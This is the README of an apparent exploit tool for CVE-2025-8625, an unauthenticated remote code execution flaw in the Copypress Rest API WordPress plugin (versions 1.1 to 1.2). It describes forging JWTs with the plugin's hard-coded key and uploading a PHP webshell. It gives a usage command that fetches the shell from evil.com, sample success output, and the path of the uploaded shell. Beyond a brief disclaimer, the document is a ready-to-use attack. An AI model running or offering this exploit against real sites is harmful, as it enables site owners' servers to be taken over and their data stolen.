CVE-2025-8625

Copypress Rest API 1.1 - 1.2 - Missing Configurable JWT Secret and File-Type Validation to Unauthenticated Remote Code Execution

🛡️ Copypress Rest API 1.1 - 1.2 RCE Exploit

📝 Description

The Copypress Rest API plugin for WordPress (versions 1.1 to 1.2) is vulnerable to Remote Code Execution via the copyreap_handle_image() function.
The plugin uses a hard-coded JWT signing key when no secret is set and does not validate file types, allowing unauthenticated attackers to forge tokens and upload arbitrary files (such as PHP shells) through the image handler endpoint.

• CVE: CVE-2025-8625
• CVSS: 9.8 (Critical)

🚀 Script Overview

Script name: CVE-2025-8625.py
This Python script automates exploitation of the vulnerability, allowing you to generate a valid JWT, send a crafted request, and upload a malicious file (webshell) to the vulnerable WordPress site.

⚙️ Usage

python CVE-2025-8625.py -u https://target.com -shell https://evil.com/shell.php

• -u / --url: Target WordPress site URL
• -shell / --shell: Direct link to your webshell or malicious PHP file

Example output:

JWT: eyJ0eXAiOiJKV1QiLCJhbGciOi...
HTTP 201: {"created":true,"id":123,"message":"Success"}
Exploit success! Check your shell upload.

🏆 Features

• Generates a valid JWT using the plugin's hardcoded secret
• Bypasses authentication to upload arbitrary files
• Provides clear output for success/failure of exploitation
• Simple command-line interface

📂 Shell Upload Location

Shell uploaded successfully! 🎉
Shell path example:

https://target.com/wp-content/uploads/2025/10/shell.php

⚠️ Disclaimer

This tool is for educational and authorized penetration testing purposes only.
Usage against targets without explicit permission is illegal.

By: Nxploited (Khaled Alenazi)